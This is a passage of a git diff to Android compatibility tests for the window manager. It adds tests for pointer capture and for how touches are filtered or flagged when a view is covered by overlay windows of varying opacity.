+        final ServiceConnection serviceConnection = new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {}
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {}
+        };
+        try {
+            assertTrue("WindowContext must bind service successfully.",
+                    windowContext.bindService(new Intent(windowContext, TestLogService.class),
+                            serviceConnection, Context.BIND_AUTO_CREATE));
+        } finally {
+            windowContext.unbindService(serviceConnection);
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index f3905b0..e71685a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -60,7 +60,6 @@
 import android.view.WindowManager.LayoutParams;
 
 import androidx.annotation.NonNull;
-import androidx.test.filters.FlakyTest;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -225,7 +224,6 @@
      * - The window which lost top-focus can be notified about pointer-capture lost.
      */
     @Test
-    @FlakyTest(bugId = 135574991)
     public void testPointerCapture() {
         final PrimaryActivity primaryActivity = startActivity(PrimaryActivity.class,
                 DEFAULT_DISPLAY);
@@ -253,6 +251,31 @@
     }
 
     /**
+     * Pointer capture could be requested after activity regains focus.
+     */
+    @Test
+    public void testPointerCaptureWhenFocus() {
+        final AutoEngagePointerCaptureActivity primaryActivity =
+                startActivity(AutoEngagePointerCaptureActivity.class, DEFAULT_DISPLAY);
+
+        // Assert primary activity can have pointer capture before we have multiple focused windows.
+        primaryActivity.waitAndAssertPointerCaptureState(true /* hasCapture */);
+
+        assumeTrue(supportsMultiDisplay());
+        final SecondaryActivity secondaryActivity =
+                createManagedInvisibleDisplaySession().startActivityAndFocus();
+
+        primaryActivity.waitAndAssertWindowFocusState(false /* hasFocus */);
+        // Assert primary activity lost pointer capture when it is not top focused.
+        primaryActivity.waitAndAssertPointerCaptureState(false /* hasCapture */);
+        secondaryActivity.waitAndAssertPointerCaptureState(false /* hasCapture */);
+
+        tapOn(primaryActivity);
+        primaryActivity.waitAndAssertWindowFocusState(true /* hasFocus */);
+        primaryActivity.waitAndAssertPointerCaptureState(true /* hasCapture */);
+    }
+
+    /**
      * Test if the focused window can still have focus after it is moved to another display.
      */
     @Test
@@ -476,6 +499,16 @@
         }
     }
 
+    public static class AutoEngagePointerCaptureActivity extends InputTargetActivity {
+        @Override
+        public void onWindowFocusChanged(boolean hasFocus) {
+            if (hasFocus) {
+                requestPointerCapture();
+            }
+            super.onWindowFocusChanged(hasFocus);
+        }
+    }
+
     private InvisibleVirtualDisplaySession createManagedInvisibleDisplaySession() {
         return mObjectTracker.manage(
                 new InvisibleVirtualDisplaySession(getInstrumentation().getTargetContext()));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
index ce0a51e..004e0dd 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
@@ -20,32 +20,46 @@
 import static android.server.wm.BarTestUtils.assumeHasStatusBar;
 import static android.server.wm.UiDeviceUtils.pressUnlockButton;
 import static android.server.wm.UiDeviceUtils.pressWakeupButton;
+import static android.server.wm.WindowUntrustedTouchTest.MIN_POSITIVE_OPACITY;
+import static android.server.wm.app.Components.OverlayTestService.EXTRA_LAYOUT_PARAMS;
+import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.ContentResolver;
 import android.content.Intent;
+import android.graphics.Color;
 import android.graphics.Point;
 import android.graphics.Rect;
+import android.hardware.input.InputManager;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
+import android.server.wm.WindowManagerState.WindowState;
+import android.server.wm.app.Components;
 import android.server.wm.settings.SettingsSession;
+import android.util.ArraySet;
+import android.util.Log;
 import android.view.Gravity;
 import android.view.InputDevice;
 import android.view.MotionEvent;
 import android.view.View;
 import android.view.WindowInsets;
 import android.view.WindowManager;
+import android.view.WindowMetrics;
 
 import androidx.test.rule.ActivityTestRule;
 
@@ -57,9 +71,11 @@
 
 import java.util.ArrayList;
 import java.util.Random;
+import java.util.Set;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
  * Ensure moving windows and tapping is done synchronously.
@@ -69,14 +85,17 @@
  */
 @Presubmit
 public class WindowInputTests {
+    private static final String TAG = "WindowInputTests";
     private final int TOTAL_NUMBER_OF_CLICKS = 100;
     private final ActivityTestRule<TestActivity> mActivityRule =
             new ActivityTestRule<>(TestActivity.class);
 
     private Instrumentation mInstrumentation;
+    private final WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
     private TestActivity mActivity;
+    private InputManager mInputManager;
     private View mView;
-    private final Random mRandom = new Random();
+    private final Random mRandom = new Random(1);
 
     private int mClickCount = 0;
 
@@ -88,6 +107,7 @@
 
         mInstrumentation = getInstrumentation();
         mActivity = mActivityRule.launchActivity(null);
+        mInputManager = mActivity.getSystemService(InputManager.class);
         mInstrumentation.waitForIdleSync();
         mClickCount = 0;
     }
@@ -95,18 +115,18 @@
     @Test
     public void testMoveWindowAndTap() throws Throwable {
         final WindowManager wm = mActivity.getWindowManager();
-        Point displaySize = new Point();
-        mActivity.getDisplay().getSize(displaySize);
-
         final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
-        mClickCount = 0;
+        p.setFitInsetsTypes(WindowInsets.Type.systemBars()
+                | WindowInsets.Type.systemGestures());
+        p.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        p.width = p.height = 20;
+        p.gravity = Gravity.LEFT | Gravity.TOP;
 
         // Set up window.
         mActivityRule.runOnUiThread(() -> {
             mView = new View(mActivity);
-            p.width = 20;
-            p.height = 20;
-            p.gravity = Gravity.LEFT | Gravity.TOP;
+            mView.setBackgroundColor(Color.RED);
             mView.setOnClickListener((v) -> {
                 mClickCount++;
             });
@@ -114,11 +134,10 @@
         });
         mInstrumentation.waitForIdleSync();
 
-        WindowInsets insets = mActivity.getWindow().getDecorView().getRootWindowInsets();
-        final Rect windowBounds = new Rect(insets.getSystemWindowInsetLeft(),
-                insets.getSystemWindowInsetTop(),
-                displaySize.x - insets.getSystemWindowInsetRight(),
-                displaySize.y - insets.getSystemWindowInsetBottom());
+        final WindowMetrics windowMetrics = wm.getCurrentWindowMetrics();
+        final WindowInsets windowInsets = windowMetrics.getWindowInsets();
+        final Rect windowBounds = new Rect(windowMetrics.getBounds());
+        windowBounds.inset(windowInsets.getInsetsIgnoringVisibility(p.getFitInsetsTypes()));
 
         // Move the window to a random location in the window and attempt to tap on view multiple
         // times.
@@ -131,12 +150,38 @@
                 wm.updateViewLayout(mView, p);
             });
             mInstrumentation.waitForIdleSync();
+            int previousCount = mClickCount;
+
             CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            mInstrumentation.waitForIdleSync();
+            if (mClickCount != previousCount + 1) {
+                final int vW = mView.getWidth();
+                final int vH = mView.getHeight();
+                final int[] viewOnScreenXY = new int[2];
+                mView.getLocationOnScreen(viewOnScreenXY);
+                final Point tapPosition =
+                        new Point(viewOnScreenXY[0] + vW / 2, viewOnScreenXY[1] + vH / 2);
+                final Rect realBounds = new Rect(viewOnScreenXY[0], viewOnScreenXY[1],
+                        viewOnScreenXY[0] + vW, viewOnScreenXY[1] + vH);
+                final Rect requestedBounds = new Rect(p.x, p.y, p.x + p.width, p.y + p.height);
+                dumpWindows("Dumping windows due to failure");
+                fail("Tap #" + i + " on " + tapPosition + " failed; realBounds=" + realBounds
+                        + " requestedBounds=" + requestedBounds);
+            }
         }
 
         assertEquals(TOTAL_NUMBER_OF_CLICKS, mClickCount);
     }
 
+    private void dumpWindows(String message) {
+        Log.d(TAG, message);
+        mWmState.computeState();
+        for (WindowState window : mWmState.getWindows()) {
+            Log.d(TAG, "    => " + window.toLongString());
+        }
+    }
+
     private void selectRandomLocationInWindow(Rect bounds, Point outLocation) {
         int randomX = mRandom.nextInt(bounds.right - bounds.left) + bounds.left;
         int randomY = mRandom.nextInt(bounds.bottom - bounds.top) + bounds.top;
@@ -144,26 +189,25 @@
     }
 
     @Test
-    public void testFilterTouchesWhenObscured() throws Throwable {
+    public void testTouchModalWindow() throws Throwable {
         final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
-        mClickCount = 0;
 
-        // Set up window.
+        // Set up 2 touch modal windows, expect the last one will receive all touch events.
         mActivityRule.runOnUiThread(() -> {
             mView = new View(mActivity);
             p.width = 20;
             p.height = 20;
-            p.gravity = Gravity.LEFT | Gravity.TOP;
+            p.gravity = Gravity.LEFT | Gravity.CENTER_VERTICAL;
             mView.setFilterTouchesWhenObscured(true);
             mView.setOnClickListener((v) -> {
                 mClickCount++;
             });
             mActivity.addWindow(mView, p);
 
-            View viewOverlap = new View(mActivity);
-            p.gravity = Gravity.RIGHT | Gravity.TOP;
+            View view2 = new View(mActivity);
+            p.gravity = Gravity.RIGHT | Gravity.CENTER_VERTICAL;
             p.type = WindowManager.LayoutParams.TYPE_APPLICATION;
-            mActivity.addWindow(viewOverlap, p);
+            mActivity.addWindow(view2, p);
         });
         mInstrumentation.waitForIdleSync();
 
@@ -171,18 +215,349 @@
         assertEquals(0, mClickCount);
     }
 
+    // If a window is obscured by another window from the same app, touches should still get
+    // delivered to the bottom window, and the FLAG_WINDOW_IS_OBSCURED should not be set.
     @Test
-    public void testOverlapWindow() throws Throwable {
+    public void testFilterTouchesWhenObscuredByWindowFromSameUid() throws Throwable {
         final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
-        mClickCount = 0;
+
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        // Set up a touchable window.
+        mActivityRule.runOnUiThread(() -> {
+            mView = new View(mActivity);
+            p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+            p.width = 100;
+            p.height = 100;
+            p.gravity = Gravity.CENTER;
+            mView.setFilterTouchesWhenObscured(true);
+            mView.setOnClickListener((v) -> {
+                mClickCount++;
+            });
+            mView.setOnTouchListener((v, ev) -> {
+                touchReceived.set(true);
+                assertEquals(0, ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
+                return false;
+            });
+            mActivity.addWindow(mView, p);
+
+            // Set up an overlap window, use same process.
+            View overlay = new View(mActivity);
+            p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN | FLAG_NOT_TOUCHABLE;
+            p.width = 100;
+            p.height = 100;
+            p.gravity = Gravity.CENTER;
+            p.type = WindowManager.LayoutParams.TYPE_APPLICATION;
+            mActivity.addWindow(overlay, p);
+        });
+        mInstrumentation.waitForIdleSync();
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+        assertTrue(touchReceived.get());
+        assertEquals(1, mClickCount);
+    }
+
+    @Test
+    public void testFilterTouchesWhenObscuredByWindowFromDifferentUid() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Intent intent = new Intent();
+        intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+        final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        try {
+            // Set up a touchable window.
+            mActivityRule.runOnUiThread(() -> {
+                mView = new View(mActivity);
+                p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+                p.width = 100;
+                p.height = 100;
+                p.gravity = Gravity.CENTER;
+                mView.setFilterTouchesWhenObscured(true);
+                mView.setOnClickListener((v) -> {
+                    mClickCount++;
+                });
+                mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
+                    return false;
+                });
+                mActivity.addWindow(mView, p);
+
+                // Set up an overlap window from service, use different process.
+                WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName);
+                params.flags |= FLAG_NOT_TOUCHABLE;
+                // Any opacity higher than this would make InputDispatcher block the touch
+                params.alpha = mInputManager.getMaximumObscuringOpacityForTouch();
+                intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+                mActivity.startForegroundService(intent);
+            });
+            mInstrumentation.waitForIdleSync();
+            waitForWindow(windowName);
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            // Touch not received due to setFilterTouchesWhenObscured(true)
+            assertFalse(touchReceived.get());
+            assertEquals(0, mClickCount);
+        } finally {
+            mActivity.stopService(intent);
+        }
+    }
+
+    @Test
+    public void testFlagTouchesWhenObscuredByWindowFromDifferentUid() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Intent intent = new Intent();
+        intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+        final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        try {
+            // Set up a touchable window.
+            mActivityRule.runOnUiThread(() -> {
+                mView = new View(mActivity);
+                p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+                p.width = 100;
+                p.height = 100;
+                p.gravity = Gravity.CENTER;
+                mView.setOnClickListener((v) -> {
+                    mClickCount++;
+                });
+                mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
+                    assertEquals(MotionEvent.FLAG_WINDOW_IS_OBSCURED,
+                            ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
+                    return false;
+                });
+                mActivity.addWindow(mView, p);
+
+                // Set up an overlap window from service, use different process.
+                WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName);
+                params.flags |= FLAG_NOT_TOUCHABLE;
+                // Any opacity higher than this would make InputDispatcher block the touch
+                params.alpha = mInputManager.getMaximumObscuringOpacityForTouch();
+                intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+                mActivity.startForegroundService(intent);
+            });
+            mInstrumentation.waitForIdleSync();
+            waitForWindow(windowName);
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            assertTrue(touchReceived.get());
+            assertEquals(1, mClickCount);
+        } finally {
+            mActivity.stopService(intent);
+        }
+    }
+
+    @Test
+    public void testDoNotFlagTouchesWhenObscuredByZeroOpacityWindow() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Intent intent = new Intent();
+        intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+        final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        try {
+            mActivityRule.runOnUiThread(() -> {
+                mView = new View(mActivity);
+                mView.setBackgroundColor(Color.GREEN);
+                p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+                p.width = 100;
+                p.height = 100;
+                p.gravity = Gravity.CENTER;
+                mView.setOnClickListener((v) -> {
+                    mClickCount++;
+                });
+                mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
+                    assertEquals(0, ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
+                    return false;
+                });
+                mActivity.addWindow(mView, p);
+
+                // Set up an overlap window from service, use different process.
+                WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName);
+                params.flags |= FLAG_NOT_TOUCHABLE;
+                params.alpha = 0;
+                intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+                mActivity.startForegroundService(intent);
+            });
+            mInstrumentation.waitForIdleSync();
+            waitForWindow(windowName);
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            assertTrue(touchReceived.get());
+            assertEquals(1, mClickCount);
+        } finally {
+            mActivity.stopService(intent);
+        }
+    }
+
+    @Test
+    public void testFlagTouchesWhenObscuredByMinPositiveOpacityWindow() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Intent intent = new Intent();
+        intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+        final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        try {
+            mActivityRule.runOnUiThread(() -> {
+                mView = new View(mActivity);
+                mView.setBackgroundColor(Color.GREEN);
+                p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+                p.width = 100;
+                p.height = 100;
+                p.gravity = Gravity.CENTER;
+                mView.setOnClickListener((v) -> {
+                    mClickCount++;
+                });
+                mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
+                    assertEquals(MotionEvent.FLAG_WINDOW_IS_OBSCURED,
+                            ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
+                    return false;
+                });
+                mActivity.addWindow(mView, p);
+
+                // Set up an overlap window from service, use different process.
+                WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName);
+                params.flags |= FLAG_NOT_TOUCHABLE;
+                params.alpha = MIN_POSITIVE_OPACITY;
+                intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+                mActivity.startForegroundService(intent);
+            });
+            mInstrumentation.waitForIdleSync();
+            waitForWindow(windowName);
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            assertTrue(touchReceived.get());
+            assertEquals(1, mClickCount);
+        } finally {
+            mActivity.stopService(intent);
+        }
+    }
+
+    @Test
+    public void testFlagTouchesWhenPartiallyObscuredByZeroOpacityWindow() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Intent intent = new Intent();
+        intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+        final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        try {
+            mActivityRule.runOnUiThread(() -> {
+                mView = new View(mActivity);
+                mView.setBackgroundColor(Color.GREEN);
+                p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+                p.width = 100;
+                p.height = 100;
+                p.gravity = Gravity.CENTER;
+                mView.setOnClickListener((v) -> {
+                    mClickCount++;
+                });
+                mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
+                    assertEquals(MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED,
+                            ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED);
+                    return false;
+                });
+                mActivity.addWindow(mView, p);
+
+                // Set up an overlap window from service, use different process.
+                WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName, 30);
+                // Move it off the touch path (center) but still overlap with window above
+                params.y = 30;
+                params.alpha = 0;
+                intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+                mActivity.startForegroundService(intent);
+            });
+            mInstrumentation.waitForIdleSync();
+            waitForWindow(windowName);
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            assertTrue(touchReceived.get());
+            assertEquals(1, mClickCount);
+        } finally {
+            mActivity.stopService(intent);
+        }
+    }
+
+    @Test
+    public void testDoNotFlagTouchesWhenPartiallyObscuredByNotTouchableZeroOpacityWindow()
+            throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Intent intent = new Intent();
+        intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+        final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        try {
+            mActivityRule.runOnUiThread(() -> {
+                mView = new View(mActivity);
+                mView.setBackgroundColor(Color.GREEN);
+                p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+                p.width = 100;
+                p.height = 100;
+                p.gravity = Gravity.CENTER;
+                mView.setOnClickListener((v) -> {
+                    mClickCount++;
+                });
+                mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
+                    assertEquals(0, ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED);
+                    return false;
+                });
+                mActivity.addWindow(mView, p);
+
+                // Set up an overlap window from service, use different process.
+                WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName, 30);
+                params.flags |= FLAG_NOT_TOUCHABLE;
+                // Move it off the touch path (center) but still overlap with window above
+                params.y = 30;
+                params.alpha = 0;
+                intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+                mActivity.startForegroundService(intent);
+            });
+            mInstrumentation.waitForIdleSync();
+            waitForWindow(windowName);
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            assertTrue(touchReceived.get());
+            assertEquals(1, mClickCount);
+        } finally {
+            mActivity.stopService(intent);
+        }
+    }
+
+    private WindowManager.LayoutParams getObscuringViewLayoutParams(String windowName) {
+        return getObscuringViewLayoutParams(windowName, 100);
+    }
+
+    private WindowManager.LayoutParams getObscuringViewLayoutParams(String windowName, int size) {
+        WindowManager.LayoutParams params = new WindowManager.LayoutParams();
+        params.setTitle(windowName);
+        params.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        params.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+        params.width = size;
+        params.height = size;
+        params.gravity = Gravity.CENTER;
+        return params;
+    }
+
+    @Test
+    public void testTrustedOverlapWindow() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
         try (final PointerLocationSession session = new PointerLocationSession()) {
             session.set(true);
+            session.waitForReady(mActivity.getDisplayId());
+
             // Set up window.
             mActivityRule.runOnUiThread(() -> {
                 mView = new View(mActivity);
                 p.width = 20;
                 p.height = 20;
-                p.gravity = Gravity.LEFT | Gravity.TOP;
+                p.gravity = Gravity.CENTER;
                 mView.setFilterTouchesWhenObscured(true);
                 mView.setOnClickListener((v) -> {
                     mClickCount++;
@@ -201,7 +576,6 @@
     public void testWindowBecomesUnTouchable() throws Throwable {
         final WindowManager wm = mActivity.getWindowManager();
         final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
-        mClickCount = 0;
 
         final View viewOverlap = new View(mActivity);
 
@@ -210,7 +584,7 @@
             mView = new View(mActivity);
             p.width = 20;
             p.height = 20;
-            p.gravity = Gravity.LEFT | Gravity.TOP;
+            p.gravity = Gravity.CENTER;
             mView.setOnClickListener((v) -> {
                 mClickCount++;
             });
@@ -218,7 +592,7 @@
 
             p.width = 100;
             p.height = 100;
-            p.gravity = Gravity.LEFT | Gravity.TOP;
+            p.gravity = Gravity.CENTER;
             p.type = WindowManager.LayoutParams.TYPE_APPLICATION;
             mActivity.addWindow(viewOverlap, p);
         });
@@ -238,6 +612,61 @@
     }
 
     @Test
+    public void testTapInsideUntouchableWindowResultInOutsideTouches() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Set<MotionEvent> events = new ArraySet<>();
+        mActivityRule.runOnUiThread(() -> {
+            mView = new View(mActivity);
+            p.width = 20;
+            p.height = 20;
+            p.gravity = Gravity.CENTER;
+            p.flags = FLAG_NOT_TOUCHABLE | FLAG_WATCH_OUTSIDE_TOUCH;
+            mView.setOnTouchListener((v, e) -> {
+                // Copying to make sure we are not dealing with a reused object
+                events.add(MotionEvent.obtain(e));
+                return false;
+            });
+            mActivity.addWindow(mView, p);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+        assertEquals(1, events.size());
+        MotionEvent event = events.iterator().next();
+        assertEquals(MotionEvent.ACTION_OUTSIDE, event.getAction());
+    }
+
+    @Test
+    public void testTapOutsideUntouchableWindowResultInOutsideTouches() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        Set<MotionEvent> events = new ArraySet<>();
+        int size = 20;
+        mActivityRule.runOnUiThread(() -> {
+            mView = new View(mActivity);
+            p.width = size;
+            p.height = size;
+            p.gravity = Gravity.CENTER;
+            p.flags = FLAG_NOT_TOUCHABLE | FLAG_WATCH_OUTSIDE_TOUCH;
+            mView.setOnTouchListener((v, e) -> {
+                // Copying to make sure we are not dealing with a reused object
+                events.add(MotionEvent.obtain(e));
+                return false;
+            });
+            mActivity.addWindow(mView, p);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        CtsTouchUtils.emulateTapOnView(mInstrumentation, mActivityRule, mView, size + 5, size + 5);
+
+        assertEquals(1, events.size());
+        MotionEvent event = events.iterator().next();
+        assertEquals(MotionEvent.ACTION_OUTSIDE, event.getAction());
+    }
+
+    @Test
     public void testInjectToStatusBar() {
         // Try to inject event to status bar.
         assumeHasStatusBar(mActivityRule);
@@ -289,6 +718,11 @@
         executor.awaitTermination(5L, TimeUnit.SECONDS);
     }
 
+    private void waitForWindow(String name) {
+        mWmState.waitForWithAmState(state -> state.isWindowSurfaceShown(name),
+                name + "'s surface is appeared");
+    }
+
     public static class TestActivity extends Activity {
         private ArrayList<View> mViews = new ArrayList<>();
 
@@ -337,5 +771,14 @@
                 return false;
             }
         }
+
+        // Wait until pointer location surface shown.
+        static void waitForReady(int displayId) {
+            final WindowManagerStateHelper wmState = new WindowManagerStateHelper();
+            final String windowName = "PointerLocation - display " + displayId;
+            wmState.waitForWithAmState(state -> {
+                return state.isWindowSurfaceShown(windowName);
+            }, windowName + "'s surface is appeared");
+        }
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 35b06ba..36a614d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -39,6 +39,7 @@
 import static org.hamcrest.Matchers.nullValue;
 import static org.hamcrest.Matchers.sameInstance;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
@@ -57,6 +58,7 @@
 import android.view.WindowInsetsAnimation.Callback;
 import android.view.WindowInsetsAnimationControlListener;
 import android.view.WindowInsetsAnimationController;
+import android.view.WindowInsetsController.OnControllableInsetsChangedListener;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.DecelerateInterpolator;
 import android.view.animation.Interpolator;
@@ -72,7 +74,6 @@
 
 import org.junit.After;
 import org.junit.Before;
-import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ErrorCollector;
 import org.junit.runner.RunWith;
@@ -81,12 +82,14 @@
 import org.junit.runners.Parameterized.Parameters;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Locale;
 import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
 
 /**
  * Test whether {@link android.view.WindowInsetsController#controlWindowInsetsAnimation} properly
@@ -109,7 +112,6 @@
     List<VerifyingCallback> mCallbacks = new ArrayList<>();
     private boolean mLossOfControlExpected;
 
-    @Rule
     public LimitedErrorCollector mErrorCollector = new LimitedErrorCollector();
 
     /**
@@ -135,8 +137,7 @@
     }
 
     @Before
-    public void setUp() throws Exception {
-        super.setUp();
+    public void setUpWindowInsetsAnimationControllerTests() throws Throwable {
         final ImeEventStream mockImeEventStream;
         if (mType == ime()) {
             final Instrumentation instrumentation = getInstrumentation();
@@ -164,6 +165,7 @@
                     editorMatcher("onStartInput", mActivity.getEditTextMarker()),
                     TimeUnit.SECONDS.toMillis(10));
         }
+        awaitControl(mType);
     }
 
     @After
@@ -185,6 +187,7 @@
             mMockImeSession.close();
             mMockImeSession = null;
         }
+        mErrorCollector.verify();
     }
 
     private void assumeTestCompatibility() {
@@ -194,180 +197,236 @@
         }
     }
 
+    private void awaitControl(int type) throws Throwable {
+        CountDownLatch control = new CountDownLatch(1);
+        OnControllableInsetsChangedListener listener = (controller, controllableTypes) -> {
+            if ((controllableTypes & type) != 0)
+                control.countDown();
+        };
+        runOnUiThread(() -> mRootView.getWindowInsetsController()
+                .addOnControllableInsetsChangedListener(listener));
+        try {
+            if (!control.await(10, TimeUnit.SECONDS)) {
+                fail("Timeout waiting for control of " + type);
+            }
+        } finally {
+            runOnUiThread(() -> mRootView.getWindowInsetsController()
+                    .removeOnControllableInsetsChangedListener(listener)
+            );
+        }
+    }
+
+    private void retryIfCancelled(ThrowableThrowingRunnable test) throws Throwable {
+        try {
+            mErrorCollector.verify();
+            test.run();
+        } catch (CancelledWhileWaitingForReadyException e) {
+            // Deflake cancellations waiting for ready - we'll reset state and try again.
+            runOnUiThread(() -> {
+                mCallbacks.clear();
+                if (mRootView != null) {
+                    mRootView.setWindowInsetsAnimationCallback(null);
+                }
+            });
+            mErrorCollector = new LimitedErrorCollector();
